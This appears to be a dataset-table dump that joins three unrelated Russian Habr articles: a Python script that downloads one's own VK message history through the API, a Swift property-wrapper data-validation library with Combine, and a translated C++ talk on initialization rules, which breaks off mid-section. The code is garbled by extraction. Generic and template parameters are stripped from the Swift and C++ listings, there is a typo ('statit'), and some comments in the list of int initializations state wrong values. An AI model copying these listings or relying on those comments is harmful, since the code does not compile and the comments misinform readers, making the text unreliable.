text stringlengths 20 1.01M | url stringlengths 14 1.25k | dump stringlengths 9 15 ⌀ | lang stringclasses 4
values | source stringclasses 4
values |
|---|---|---|---|---|
# Скачиваем историю переписки со всеми пользователями ВКонтакте с помощью Python
Для лингвистического исследования мне понадобился корпус прямой речи, порожденной одним человеком. Я решил, что для начала удобнее всего использовать собственную переписку в ВК. Это статья о том, как скачать все сообщения, которые Вы когда-либо отправляли своим друзьям, используя программу на Python и API ВКонтакте. Для работы с API будем использовать библиотеку [vk](https://pypi.python.org/pypi/vk/1.5).
Для работы с сайтом нужно создать приложение и авторизоваться с помощью токена. Этот процесс не представляет из себя ничего сложного и описан [здесь](http://pikabu.ru/story/api_vkontakte_dlya_python_3961240) и [здесь](https://habrahabr.ru/sandbox/84639/).
Итак, токен получен. Импортируем необходимые библиотеки (time и re понадобятся нам позже), подключимся к нашему приложению и начнем работу.
```
import vk
import time
import re
session = vk.Session(access_token='your_token')
vkapi = vk.API(session)
```
Так как мы хотим получить переписку со всеми друзьями, начнем с получения списка друзей. Дальнейшая обработка полного списка друзей может оказаться довольно долгой, поэтому для тестирования можно написать id нескольких друзей вручную.
```
friends = vkapi('friends.get') # получение всего списка друзей для пользователя
# friends = [1111111, 2222222, 33333333] # задаем друзей вручную
```
Имея список друзей, можно сразу приступить к скачиванию диалогов с ними, но я хочу обрабатывать только те диалоги, в которых содержится более чем 200 сообщений, так как короткие беседы с малознакомыми людьми мне не очень интересны. Поэтому напишем функцию, которая вернет «шапки» диалогов.
```
def get_dialogs(user_id):
dialogs = vkapi('messages.getDialogs', user_id=user_id)
return dialogs
```
Такая функция возвращает «шапку» диалога с пользователем, id которого равен указанному user\_id. Результат её работы выглядит приблизительно так:
`[96, {'title': ' ... ', 'body': '', 'mid': 333333, 'read_state': 1, 'uid': 111111, 'date': 1490182267, 'fwd_messages': [{'date': 1490173134, 'body': 'Не, ну все это и так понятно, но нам же там жить.', 'uid': 222222}], 'out': 0}]`
В полученном списке содержится количество сообщений (96) и данные последнего сообщения в диалоге. Теперь у нас есть всё необходимое, чтобы скачать нужные диалоги.
Основное неудобство состоит в том, что ВКонтакте позволяет делать максимум около трех запросов в секунду, поэтому после каждого запроса нужно какое-то время ждать. Для этого нам и нужна библиотека time. Самое маленькое время ожидания, которое мне удавалось поставить, чтобы не получить отказ через несколько операций — 0.3 секунды.
Другая сложность в том, что за один запрос можно скачать максимум 200 сообщений. С этим тоже придется бороться. Напишем функцию.
```
def get_history(friends, sleep_time=0.3):
all_history = []
i = 0
for friend in friends:
friend_dialog = get_dialogs(friend)
time.sleep(sleep_time)
dialog_len = friend_dialog[0]
friend_history = []
if dialog_len > 200:
resid = dialog_len
offset = 0
while resid > 0:
friend_history += vkapi('messages.getHistory',
user_id=friend,
count=200,
offset=offset)
time.sleep(sleep_time)
resid -= 200
offset += 200
if resid > 0:
print('--processing', friend, ':', resid,
'of', dialog_len, 'messages left')
all_history += friend_history
i +=1
print('processed', i, 'friends of', len(friends))
return all_history
```
Разберемся, что здесь происходит.
Мы проходим по списку друзей и получаем диалог с каждым из них. Рассматриваем длину диалога. Если диалог короче, чем 200 сообщений, просто переходим к следующему другу, если длиннее, то скачиваем первые 200 сообщений (аргумент count), добавляем их в историю сообщений для данного друга и рассчитываем, сколько еще сообщений осталось скачать (resid). До тех пор пока остаток больше 0, при каждой итерации увеличиваем аргумент offset, который позволяет задать отступ в количестве сообщений от конца диалога, на 200.
Из-за необходимости ожидания после каждого запроса программа работает довольно долго, поэтому я добавил вывод небольшого отчета о текущем шаге, чтобы понимать, что сейчас обрабатывается и сколько еще осталось.
N.B.: у метода messages.get есть аргумент out, с помощью которого можно попросить сервер отдавать только исходящие сообщения. Я решил не использовать его и выделить нужные мне сообщения уже после скачивания по следующим причинам: а) файл все равно придется очищать, т.к. сервер отдает каждое сообщение виде словаря, содержащего много технической информации и б) сообщения собеседников тоже могут представлять интерес для моего исследования.
Каждое скачанное сообщение является словарем и выглядит примерно вот так:
`{'read_state': 1, 'date': 1354794668, 'body': 'Вот так!
Потому что тут модель вышла довольно непонятная.', 'uid': 111111, 'mid': 222222, 'from_id': 111111, 'out': 1}` | https://habr.com/ru/post/325368/ | null | ru | null |
# Валидация данных в iOS приложениях
Думаю, каждый из нас сталкивался с задачей валидации данных в приложениях. Например, при регистрации пользователя нужно убедиться что email имеет правильный формат, а пароль удовлетворяет требованиям безопасности и так далее. Можно привести массу примеров, но все в итоге сводится к одной задаче — валидация данных перед отправкой формы.
Работая над очередным проектом, я задумался над тем, чтобы создать универсальное решение, а не писать методы валидации для каждого экрана с формой отдельно. В Swift 5.1 появилась аннотация `@propertyWrapper`, и я подумал, что было бы удобно иметь синтаксис наподобие следующего:
```
@Validated([validator1, validator2, ...])
var email: String? = nil
let errors = $email.errors //массив ошибок валидации
```
### Валидаторы
Первым делом нужно было определиться с тем, как будут выглядеть и работать валидаторы. В рамках моего проекта мне было необходимо проверить валидность данных и вывести соответствующие сообщения об ошибках. Необходимости в более сложной обработке ошибок не было, поэтому реализация валидатора получилась следующая:
```
struct ValidationError: LocalizedError {
var message: String
public var errorDescription: String? {
message
}
}
protocol Validator {
associatedtype ValueType
var errorMessage: String { get }
func isValid(value: ValueType?) -> Bool
}
extension Validator {
func validate(value: ValueType?) throws {
if !isValid(value: value) {
throw ValidationError(message: errorMessage)
}
}
}
```
Тут все просто. Валидатор содержит сообщение об ошибке, с помощью которого создается ValidationError, если валидация не пройдена. Это упрощает обработку ошибок, поскольку все валидаторы возвращают один и тот же тип ошибки, но с разными сообщениями. В качестве примера можно привести код валидатора, проверяющего строку на соответствие регулярному выражению:
```
struct RegexValidator: Validator {
public var errorMessage: String
private var regex: String
public init(regex: String, errorMessage: String) {
self.regex = regex
self.errorMessage = errorMessage
}
public func isValid(value: String?) -> Bool {
guard let v = value else { return false }
let predicate = NSPredicate(format: "SELF MATCHES %@", regex)
return predicate.evaluate(with: v)
}
}
```
Данная реализация содержит одну известную многим проблему. Поскольку протокол `Validator` содержит `associatedtype`, то мы не можем создать переменную типа
```
var validators:[Validator] //Protocol 'Validator' can only be used as a generic constraint because it has Self or associated type requirements
```
Для решения данной проблемы используем стандартный подход, а именно, создание структуры AnyValidator.
```
private class ValidatorBox: Validator {
var errorMessage: String {
fatalError()
}
func isValid(value: T?) -> Bool {
fatalError()
}
}
private class ValidatorBoxHelper: ValidatorBox where V.ValueType == T {
private let validator: V
init(validator: V) {
self.validator = validator
}
override var errorMessage: String {
validator.errorMessage
}
override func isValid(value: T?) -> Bool {
validator.isValid(value: value)
}
}
struct AnyValidator: Validator {
private let validator: ValidatorBox
public init(validator: V) where V.ValueType == T {
self.validator = ValidatorBoxHelper(validator: validator)
}
public var errorMessage: String {
validator.errorMessage
}
public func isValid(value: T?) -> Bool {
validator.isValid(value: value)
}
}
```
Думаю, тут нечего комментировать. Это стандартный подход для решения проблемы описанной выше. Также было бы полезно добавить расширение для протокола Validator, позволяющее создавать AnyValidator объект.
```
extension Validator {
var validator: AnyValidator {
AnyValidator(validator: self)
}
}
```
### Property wrapper
С валидаторами разобрались, можно переходить непосредственно к реализации обертки `@Validated`.
```
@propertyWrapper
class Validated {
private var validators: [AnyValidator]
var wrappedValue: Value?
init(wrappedValue value: Value?, \_ validators: [AnyValidator]) {
wrappedValue = value
self.validators = validators
}
var projectedValue: Validated {
self
}
public var errors: [ValidationError] {
var errors: [ValidationError] = []
validators.forEach {
do {
try $0.validate(value: wrappedValue)
}
catch {
errors.append(error as! ValidationError)
}
}
return errors
}
}
```
В цели данной статьи не входит разбор того как работают обертки `propertyWrapper` и какой синтаксис они используют. Если вам еще не удалось с ними познакомиться, то советую прочитать мою другую статью [How to Approach Wrappers for Swift Properties](https://www.toptal.com/swift/wrappers-swift-properties)(English).
Данная реализация позволяет нам объявлять свойства, требующие валидации следующим образом:
```
@Validated([
NotEmptyValidator(errorMessage: "Email can't be empty").validator,
RegexValidator(regex:"[A-Z0-9a-z._%+-]+@[A-Za-z0-9.-]+\\.[A-za-z]{2,64}
", errorMessage:"Email has wrong format").validator
])
var email: String? = nil
```
И получать массив ошибок валидации в любой момент времени следующим образом
```
let errors = $email.errors
```
Есть вероятность, что некоторые комбинации валидаторов (например, валидация email) будут встречаться в приложении на нескольких экранах. Для того, чтобы избежать копирования кода, можно в таких случаях создавать отдельный wrapper, унаследованный от `Validated`.
```
@propertyWrapper
final class Email: Validated {
override var wrappedValue: String? {
get {
super.wrappedValue
}
set {
super.wrappedValue = newValue
}
}
override var projectedValue: Validated {
super.projectedValue
}
init(wrappedValue value: String?) {
let notEmptyValidator = NotEmptyValidator(errorMessage: "Email can’t be empty")
let regexValidator = RegexValidator(regex:"[A-Z0-9a-z.\_%+-]+@[A-Za-z0-9.-]+\\.[A-za-z]{2,64}
", errorMessage:"Email has wrong format").validator
super.init(wrappedValue: value, [notEmptyValidator, regexValidator])
}
}
@Email
var email: String? = nil
```
К сожалению, на данный момент аннотация `@propertyWrapper` обязывает переопределять `wrappedValue` и `projectedValue`, в противном случае мы получим ошибку компиляции. Выглядит это как баг реализации, так что возможно, что в будущих версиях Swift это будет исправлено.
### Добавляем Reactive
Вместе с iOS13 пришел нативный фреймворк для реактивного программирования Combine. И я подумал, что может быть полезным иметь следующий синтаксис:
```
let cancellable = $email
.publisher
.map { $0.map { $0.localizedDescription }.joined(separator: ", ") }
.receive(on: RunLoop.main)
.assign(to: \.text, on: emailErrorLabel)
```
Это позволит обновлять информацию об ошибках валидации в режиме реального времени (после каждого введенного символа). Первоначальная реализация этой идеи выглядела следующим образом:
```
@propertyWrapper
class Validated {
private var \_subject: Any!
@available(iOS 13.0, \*)
private var subject: PassthroughSubject<[ValidationError], Never> {
return \_subject as! PassthroughSubject<[ValidationError], Never>
}
open var wrappedValue: Value? {
didSet {
if #available(iOS 13.0, \*) {
subject.send(errors)
}
}
}
public init(wrappedValue value: Value?, \_ validators: [AnyValidator]) {
wrappedValue = value
self.validators = validators
if #available(iOS 13.0, \*) {
\_subject = PassthroughSubject<[ValidationError], Never>()
}
}
@available(iOS 13.0, \*)
public var publisher: AnyPublisher<[ValidationError], Never> {
subject.eraseToAnyPublisher()
}
// The rest of the code
}
```
Из-за того, что stored property не может быть помечено аннотацией `@available`, пришлось применить work around со свойствами `_subject` и `subject`. В остальном все должно быть предельно понятным. Создается объект `PassthroughObject`, который отправляет сообщения каждый раз, когда меняется `wrappedValue`.
В результате сообщения об ошибках валидации меняются по мере заполнения пользователем формы.
В процессе тестирования данного решения был выявлен один баг. Валидация происходит при каждом изменении свойства вне зависимости от наличия подписчиков у этого события. С одной стороны, это никак не влияет на результат, но с другой, в случае, когда нам не нужна валидация в реальном времени, будут выполняться ненужные действия. Правильно будет выполнять валидацию и отправлять сообщения только если есть хоть один подписчик. В результате код был переделан с учетом данного требования
```
@propertyWrapper
class Validated {
private var \_subject: Any!
@available(iOS 13.0, \*)
private var subject: Publishers.HandleEvents> {
return \_subject as! Publishers.HandleEvents>
}
private var subscribed: Bool = false
open var wrappedValue: Value? {
didSet {
if #available(iOS 13.0, \*) {
if subscribed {
subject.upstream.send(errors)
}
}
}
}
public init(wrappedValue value: Value?, \_ validators: [AnyValidator]) {
wrappedValue = value
self.validators = validators
if #available(iOS 13.0, \*) {
\_subject = PassthroughSubject<[ValidationError], Never>()
.handleEvents(receiveSubscription: {[weak self] \_ in
self?.subscribed = true
})
}
}
// The rest of the code
}
```
В результате я получил относительно универсальное решение для валидации данных в приложении. Возможно, оно не решает некоторые задачи, например, более сложную обработку ошибок, чем простой вывод сообщения, но для простой валидации введенных пользователем данных оно подходит. Ознакомиться с полным решением вы можете на [GitHub](https://github.com/alexander-gaidukov/property-validator). | https://habr.com/ru/post/485092/ | null | ru | null |
# Инициализация в современном C++
Общеизвестно, что семантика инициализации — одна из наиболее сложных частей C++. Существует множество видов инициализации, описываемых разным синтаксисом, и все они взаимодействуют сложным и вызывающим вопросы способом. C++11 принес концепцию «универсальной инициализации». К сожалению, она привнесла еще более сложные правила, и в свою очередь, их перекрыли в C++14, C++17 и снова поменяют в C++20.
Под катом — видео и перевод доклада Тимура Домлера ([Timur Doumler](https://twitter.com/timur_audio?lang=ru)) с конференции [C++ Russia](https://cppconf-piter.ru/?utm_source=habr&utm_medium=469465&utm_campaign=cpp_piter2019). Тимур вначале подводит исторические итоги эволюции инициализации в С++, дает системный обзор текущего варианта правила инициализации, типичных проблем и сюрпризов, объясняет, как использовать все эти правила эффективно, и, наконец, рассказывает о свежих предложениях в стандарт, которые могут сделать семантику инициализации C++20 немного более удобной. Далее повествование — от его лица.
**Table of Contents**
* [Инициализация по умолчанию (С)](https://habr.com/ru/company/jugru/blog/469465#a1)
* [Копирующая инициализация (С)](https://habr.com/ru/company/jugru/blog/469465#a2)
* [Агрегатная инициализация (С)](https://habr.com/ru/company/jugru/blog/469465#a3)
* [Статическая инициализация (С)](https://habr.com/ru/company/jugru/blog/469465#a4)
* [Прямая инициализация (С++98)](https://habr.com/ru/company/jugru/blog/469465#a5)
* [Инициализация значением (C++03)](https://habr.com/ru/company/jugru/blog/469465#a6)
* [Универсальная инициализация (C++11)](https://habr.com/ru/company/jugru/blog/469465#a7)
* [Улучшения в С++14](https://habr.com/ru/company/jugru/blog/469465#a8)
* [Как правильно инициализировать в C++](https://habr.com/ru/company/jugru/blog/469465#a9)
* [Назначенная инициализация (С++20)](https://habr.com/ru/company/jugru/blog/469465#a10)
* [Исправления в C++20](https://habr.com/ru/company/jugru/blog/469465#a11)
* [Прямая инициализация агрегатных типов (C++20)](https://habr.com/ru/company/jugru/blog/469465#a12)
Гифка, которую вы сейчас видите, отлично доносит основную мысль доклада. Я нашёл её на просторах интернета где-то полгода тому назад, и [выложил](https://twitter.com/timur_audio/status/1004017362381795329) у себя в твиттере. В комментариях к ней кто-то сказал, что не хватает ещё трёх типов инициализации. Началось обсуждение, в ходе которого мне предложили сделать об этом доклад. Так всё и началось.
Про инициализацию уже [рассказывал](https://youtu.be/h-zy1hBqT74) Николай Йоссутис. В его докладе был слайд, на котором перечислялись 19 различных способов инициализировать int:
```
int i1; //undefined value
int i2 = 42; //note: inits with 42
int i3(42); //inits with 42
int i4 = int(); //inits with 42
int i5{42}; //inits with 42
int i6 = {42}; //inits with 42
int i7{}; //inits with 0
int i8 = {}; //inits with 0
auto i9 = 42; //inits with 42
auto i10{42}; //C++11: std::initializer_list, C++14: int
auto i11 = {42}; //inits std::initializer\_list with 42
auto i12 = int{42}; //inits int with 42
int i13(); //declares a function
int i14(7, 9); //compile-time error
int i15 = (7, 9); //OK, inits int with 9 (comma operator)
int i16 = int(7, 9); //compile-time error
int i17(7, 9); //compile-time error
auto i18 = (7, 9); //OK, inits int with 9 (comma operator)
auto i19 = int(7, 9); //compile-time error
```
Мне кажется, это уникальная ситуация для языка программирования. Инициализация переменной — одно из простейших действий, но в С++ сделать это совсем не просто. Вряд ли в этом языке есть какая-либо другая область, в которой за последние годы было бы столько же отчётов об отклонениях от стандарта, исправлений и изменений. Правила инициализации меняются от стандарта к стандарту, и в интернете есть бесчисленное количество постов о том, как запутана инициализация в C++. Поэтому сделать её систематический обзор — задача нетривиальная.
Я буду излагать материал в хронологическом порядке: вначале мы поговорим о том, что было унаследовано от С, потом о С++98, затем о С++03, С++11, С++14 и С++17. Мы обсудим распространённые ошибки, и я дам свои рекомендации относительно правильной инициализации. Также я расскажу о нововведениях в С++20. В самом конце доклада будет представлена обзорная таблица.
Инициализация по умолчанию (С)
==============================
В С++ очень многое унаследовано от С, поэтому с него мы и начнём. В С есть несколько способов инициализации переменных. Их можно вообще не инициализировать, и это называется *инициализация по умолчанию*. На мой взгляд, это неудачное название. Дело в том, что никакого значения по умолчанию переменной не присваивается, она просто не инициализируется. Если обратиться к неинициализированной переменной в C++ и в С, возникает неопределённое поведение:
```
int main() {
int i;
return i; // undefined behaviour
}
```
То же касается пользовательских типов: если в некотором `struct` есть неинициализированные поля, то при обращении к ним также возникает неопределённое поведение:
```
struct Widget {
int i;
int j;
};
int main() {
Widget widget;
return widget.i; // неопределенное поведение
}
```
В С++ было добавлено множество новых конструкций: классы, конструкторы, public, private, методы, но ничто из этого не влияет на только что описанное поведение. Если в классе некоторый элемент не инициализирован, то при обращении к нему возникает неопределённое поведение:
```
class Widget {
public:
Widget() {}
int get_i() const noexcept { return i; }
int get_j() const noexcept { return j; }
private:
int i;
int j;
};
int main() {
Widget widget;
return widget.get_i(); // Undefined behaviour!
}
```
Никакого волшебного способа инициализировать по умолчанию элемент класса в С++ нет. Это интересный момент, и в течение первых нескольких лет моей карьеры с С++ я этого не знал. Ни компилятор, ни IDE, которой я тогда пользовался, об этом никак не напоминали. Мои коллеги не обращали внимания на эту особенность при проверке кода. Я почти уверен, что из-за неё в моём коде, написанном в эти годы, есть довольно странные баги. Мне казалось очевидным, что классы должны инициализировать свои переменные.
В C++98 можно инициализировать переменные при помощи member initializer list. Но такое решение проблемы не оптимальное, поскольку это необходимо делать в каждом конструкторе, и об этом легко забыть. Кроме того, инициализация идёт в порядке, в котором переменные объявлены, а не в порядке member initializer list:
```
// C++98: member initialiser list
class Widget {
public:
Widget() : i(0), j(0) {} // member initialiser list
int get_i() const noexcept { return i; }
int get_j() const noexcept { return j; }
private:
int i;
int j;
};
int main() {
Widget widget;
return widget.get_i();
}
```
В C++11 были добавлены инициализаторы элементов по умолчанию (direct member initializers), которыми пользоваться значительно удобнее. Они позволяют инициализировать все переменные одновременно, и это даёт уверенность, что все элементы инициализированы:
```
// C++11: default member initialisers
class Widget {
public:
Widget() {}
int get_i() const noexcept { return i; }
int get_j() const noexcept { return j; }
private:
int i = 0; // default member initialisers
int j = 0;
};
int main() {
Widget widget;
return widget.get_i();
}
```
Моя первая рекомендация: когда можете, всегда используйте DMI (direct member initializers). Их можно использовать как со встроенными типами (`float` и `int`), так и с объектами. Привычка инициализировать элементы заставляет подходить к этому вопросу более осознанно.
Копирующая инициализация (С)
============================
Итак, первый унаследованный от С способ инициализации — инициализация по умолчанию, и ей пользоваться не следует. Второй способ — *копирующая инициализация*. В этом случае мы указываем переменную и через знак равенства — её значение:
```
// copy initialization
int main() {
int i = 2;
}
```
Копирующая инициализация также используется, когда аргумент передаётся в функцию по значению, или когда происходит возврат объекта из функции по значению:
```
// copy initialization
int square(int i) {
return i * i;
}
```
Знак равенства может создать впечатление, что происходит присвоение значения, но это не так. Копирующая инициализация — это не присвоение значения. В этом докладе вообще ничего не будет про присвоение.
Другое важное свойство копирующей инициализации: если типы значений не совпадают, то выполняется *последовательность преобразования* (conversion sequence). У последовательности преобразования есть определенные правила, например, она не вызывает explicit конструкторов, поскольку они не являются преобразующими конструкторами. Поэтому, если выполнить копирующую инициализацию для объекта, конструктор которого отмечен как explicit, происходит ошибка компиляции:
```
struct Widget {
explicit Widget(int) {}
};
Widget w1 = 1; // ERROR
```
Более того, если есть другой конструктор, который не является explicit, но при этом хуже подходит по типу, то копирующая инициализация вызовет его, проигнорировав explicit конструктор:
```
struct Widget {
explicit Widget(int) {}
Widget(double) {}
};
Widget w1 = 1; // вызывает Widget(double)
```
Агрегатная инициализация (С)
============================
Третий тип инициализации, о котором я хотел бы рассказать — *агрегатная инициализация*. Она выполняется, когда массив инициализируется рядом значений в фигурных скобках:
```
int i[4] = {0, 1, 2, 3};
```
Если при этом не указать размер массива, то он выводится из количества значений, заключённых в скобки:
```
int j[] = {0, 1, 2, 3}; // array size deduction
```
Эта же инициализация используется для агрегатных (aggregate) классов, то есть таких классов, которые являются просто набором публичных элементов (в определении агрегатных классов есть ещё несколько правил, но сейчас мы не будем на них останавливаться):
```
struct Widget {
int i;
float j;
};
Widget widget = {1, 3.14159};
```
Этот синтаксис работал ещё в С и С++98, причём, начиная с С++11, в нём можно пропускать знак равенства:
```
Widget widget{1, 3.14159};
```
Агрегатная инициализация на самом деле использует копирующую инициализацию для каждого элемента. Поэтому, если попытаться использовать агрегатную инициализацию (как со знаком равенства, так и без него) для нескольких объектов с explicit конструкторами, то для каждого объекта выполняется копирующая инициализация и происходит ошибка компиляции:
```
struct Widget {
explicit Widget(int) {}
};
struct Thingy {
Widget w1, w2;
};
int main() {
Thingy thingy = {3, 4}; // ERROR
Thingy thingy {3, 4}; // ERROR
}
```
А если для этих объектов есть другой конструктор, не-explicit, то вызывается он, даже если он хуже подходит по типу:
```
struct Widget {
explicit Widget(int) {}
Widget(double) {}
};
struct Thingy {
Widget w1, w2;
};
int main() {
Thingy thingy = {3, 4}; // вызывает Widget(double)
Thingy thingy {3, 4}; // вызывает Widget(double)
}
```
Рассмотрим ещё одно свойство агрегатной инициализации. Вопрос: какое значение возвращает эта программа?
```
struct Widget {
int i;
int j;
};
int main() {
Widget widget = {1};
return widget.j;
}
```
**Скрытый текст**
Совершенно верно, нуль. Если при агрегатной инициализации пропустить некоторые элементы в массиве значений, то соответствующим переменным присваивается значение нуль. Это очень полезное свойство, потому что благодаря нему никогда не может быть неинициализированных элементов. Оно работает с агрегатными классами и с массивами:
```
// все элементы инициализируются нулями
int[100] = {};
```
Другое важное свойство агрегатной инициализации — пропуск скобок (brace elision). Как вы думаете, какое значение возвращает эта программа? В ней есть `Widget`, который является агрегатом двух значений `int`, и `Thingy`, агрегат `Widget` и `int`. Что мы получим, если передадим ей два инициализирующих значения: `{1, 2}`?
```
struct Widget {
int i;
int j;
};
struct Thingy {
Widget w;
int k;
};
int main() {
Thingy t = {1, 2};
return t.k; // что мы получим?
}
```
**Скрытый текст**
Ответ: нуль. Здесь мы имеем дело с подагрегатом (subaggregate), то есть с вложенным агрегатным классом. Такие классы можно инициализировать, используя вложенные скобки, но одну из этих пар скобок можно пропустить. В этом случае выполняется рекурсивный обход субагрегата, и `{1, 2}` оказывается эквивалентно `{{1, 2}, 0}`. Надо признать, это свойство не вполне очевидное.
Статическая инициализация (С)
=============================
Наконец, от С также унаследована *статическая инициализация*: статические переменные всегда инициализируются. Это может быть сделано несколькими способами. Статическую переменную можно инициализировать выражением-константой. В этом случае инициализация происходит во время компиляции. Если же переменной не присвоить никакого значения, то она инициализируется значением нуль:
```
static int i = 3; // инициализация константой
statit int j; // инициализация нулем
int main() {
return i + j;
}
```
Эта программа возвращает 3, несмотря на то, что `j` не инициализировано. Если же переменная инициализируется не константой, а объектом, могут возникнуть проблемы.
Вот пример из реальной библиотеки, над которой я работал:
```
static Colour red = {255, 0, 0};
```
В ней был класс Colour, и основные цвета (red, green, blue) были определены как статические объекты. Это допустимое действие, но как только появляется другой статический объект, в инициализаторе которого используется `red`, появляется неопределённость, поскольку нет жёсткого порядка, в котором инициализируются переменные. Ваше приложение может обратиться к неинициализированной переменной, и тогда оно упадёт. К счастью, в С++11 стало возможным использовать конструктор `constexpr`, и тогда мы имеем дело с инициализацией константой. В этом случае никаких проблем с порядком инициализации уже не возникает.
Итак, от языка C унаследованы четыре типа инициализации: инициализация по умолчанию, копирующая, агрегатная и статическая инициализации.
Прямая инициализация (С++98)
============================
Перейдём теперь к С++98. Пожалуй, наиболее важная возможность, отличающая С++ от С — это конструкторы. Вот пример вызова конструктора:
```
Widget widget(1, 2);
int(3);
```
При помощи этого же синтаксиса можно инициализировать встроенные типы вроде `int` и `float`. Этот синтаксис называется *прямой инициализацией*. Она выполняется всегда, когда у нас есть аргумент в круглых скобках.
Для встроенных типов (`int`, `bool`, `float`) никакого отличия от копирующей инициализации здесь нет. Если же речь идёт о пользовательских типах, то, в отличие от копирующей инициализации, при прямой инициализации можно передавать несколько аргументов. Собственно, ради этого прямую инициализацию и придумали.
Кроме того, при прямой инициализации не выполняется последовательность преобразования. Вместо этого происходит вызов конструктора при помощи разрешения перегрузки (overload resolution). У прямой инициализации тот же синтаксис, что и у вызова функции, и используется та же логика, что и в других функциях С++.
Поэтому в ситуации с explicit конструктором прямая инициализация работает нормально, хотя копирующая инициализация выдаёт ошибку:
```
struct Widget {
explicit Widget(int) {}
};
Widget w1 = 1; // ошибка
Widget w2(1); // а так можно
```
В ситуации же с двумя конструкторами, один из которых explicit, а второй хуже подходит по типу, при прямой инициализации вызывается первый, а при копирующей — второй. В такой ситуации изменение синтаксиса приведёт к вызову другого конструктора — об этом часто забывают:
```
struct Widget {
explicit Widget(int) {}
Widget(double) {}
};
Widget w1 = 1; // вызывает Widget(double)
Widget w2(1); // вызывает Widget(int)
```
Прямая инициализация применяется всегда, когда используются круглые скобки, в том числе когда используется нотация вызова конструктора для инициализации временного объекта, а также в выражениях `new` с инициализатором в скобках и в выражениях `cast`:
```
useWidget(Widget(1, 2)); // вызов конструктора
auto* widget_ptr = new Widget(2, 3); // new-expression with (args)
static_cast(thingy); // cast
```
Этот синтаксис существует столько, сколько существует сам С++, и у него есть важный недостаток, который упомянул Николай в программном докладе: *the most vexing parse*. Это значит, что всё, что компилятор может прочитать как объявление (declaration), он читает именно как объявление.
Рассмотрим пример, в котором есть класс `Widget` и класс `Thingy`, и конструктор `Thingy`, который получает `Widget`:
```
struct Widget {};
struct Thingy {
Thingy(Widget) {}
};
int main () {
Thingy thingy(Widget());
}
```
На первый взгляд кажется, что при инициализации `Thingy` ему передаётся созданный по умолчанию `Widget`, но на самом деле здесь происходит объявление функции. Этот код объявляет функцию, которая получает на вход другую функцию, которая ничего не получает на вход и возвращает `Widget`, а первая функция возвращает `Thingy`. Код скомпилируется без ошибок, но вряд ли мы добивались именно такого поведения.
Инициализация значением (C++03)
===============================
Перейдём к следующей версии — С++03. Принято считать, что существенных изменений в этой версии не произошло, но это не так. В С++03 появилась *инициализация значением* (value initialization), при которой пишутся пустые круглые скобки:
```
int main() {
return int(); // UB в C++98, 0 начиная с C++03
}
```
В С++98 здесь возникает неопределенное поведение, потому что происходит инициализация по умолчанию, а начиная с С++03 эта программа возвращает нуль.
Правило такое: если существует определённый пользователем конструктор по умолчанию, инициализация значением вызывает этот конструктор, в противном случае возвращается нуль.
Рассмотрим подробнее ситуацию с пользовательским конструктором:
```
struct Widget {
int i;
};
Widget get_widget() {
return Widget(); // value initialization
}
int main() {
return get_widget().i;
}
```
В этой программе функция инициализирует значение для нового `Widget` и возвращает его. Мы вызываем эту функцию и обращаемся к элементу `i` объекта `Widget`. Начиная с C++03 возвращаемое значение здесь нуль, поскольку нет пользовательского конструктора по умолчанию. А если такой конструктор существует, но не инициализирует `i`, то мы получим неопределённое поведение:
```
struct Widget {
Widget() {} // пользовательский конструктор
int i;
};
Widget get_widget() {
return Widget(); // value initialization
}
int main() {
return get_widget().i; // значение не инициализировано, происходит UB
}
```
Стоит заметить, что «пользовательский» не значит «определённый пользователем». Это значит, что пользователь должен предоставить тело конструктора, т. е. фигурные скобки. Если же в примере выше заменить тело конструктора на `= default` (эта возможность была добавлена в С++11), смысл программы изменяется. Теперь мы имеем конструктор, определённый пользователем (user-defined), но не предоставленный пользователем (user-provided), поэтому программа возвращает нуль:
```
struct Widget {
Widget() = default; // user-defined, но не user-provided
int i;
};
Widget get_widget() {
return Widget(); // value initialization
}
int main() {
return get_widget().i; // возвращает 0
}
```
Теперь попробуем вынести `Widget() = default` за рамки класса. Смысл программы снова изменился: `Widget() = default` считается предоставленным пользователем конструктором, если он находится вне класса. Программа снова возвращает неопределённое поведение.
```
struct Widget {
Widget();
int i;
};
Widget::Widget() = default; // вне класса, считается user-provided
Widget get_widget() {
return Widget(); // value initialization
}
int main() {
return get_widget().i; // снова значение не инициализировано, UB
}
```
Тут есть определённая логика: конструктор, определённый вне класса, может быть внутри другой единицы трансляции. Компилятор может не увидеть этот конструктор, поскольку он может быть в другом файле `.cpp`. Поэтому делать какие-либо выводы о таком конструкторе компилятор не может, и он не может отличить конструктор с телом от конструктора с `= default`.
Универсальная инициализация (C++11)
===================================
В версии С++11 было много очень важных изменений. В частности, была введена универсальная (uniform) инициализация, которую я предпочитаю называть «unicorn initialization» («инициализация-единорог»), потому что она просто волшебная. Давайте разберёмся, зачем она появилась.
Как вы уже заметили, в С++ очень много различных синтаксисов инициализации с разным поведением. Множество неудобств вызывала проблема vexing parse с круглыми скобками. Ещё разработчикам не нравилось, что агрегатную инициализацию можно было использовать только с массивами, но не с контейнерами вроде `std::vector`. Вместо неё приходилось выполнять `.reserve` и `.push_back`, или пользоваться всякими жуткими библиотеками:
```
// вот так было нельзя, а хотелось:
std::vector vec = {0, 1, 2, 3, 4};
// приходилось писать так:
std::vector vec;
vec.reserve(5);
vec.push\_back(0);
vec.push\_back(1);
vec.push\_back(2);
vec.push\_back(3);
vec.push\_back(4);
```
Все эти проблемы создатели языка попытались решить, введя синтаксис с фигурными скобками но без знака равенства. Предполагалось, что это будет единый синтаксис для всех типов, в котором используются фигурные скобки и не возникает проблемы vexing parse. В большинстве случаев этот синтаксис выполняет свою задачу.
Эта новая инициализация называется *инициализация списком*, и она бывает двух типов: прямая и копирования. В первом случае используются просто фигурные скобки, во втором — фигурные скобки со знаком равенства:
```
// direct-list-initialization
Widget widget{1, 2};
// copy-list-initialization
Widget widget = {1, 2};
```
Используемый для иницализации список называется *braced-init-list*. Важно, что этот список не является объектом, у него нет типа. Переход на С++11 с более ранних версий не создаёт никаких проблем с агрегатными типами, так что это изменение не является критическим. Но теперь у списка в фигурных скобках появились новые возможности. Хоть у него и нет типа, он может быть скрыто преобразован в `std::initializer_list`, это такой специальный новый тип. И если есть конструктор, принимающий на вход `std::initializer_list`, то вызывается именно этот конструктор:
```
template
class vector {
//...
vector(std::initializer\_list init); // конструктор с initializer\_list
};
std::vector vec{0, 1, 2, 3, 4}; // вызывает этот^ конструктор
```
Мне кажется, что со стороны комитета С++ `std::initializer_list` был не самым удачным решением. От него больше вреда, чем пользы.
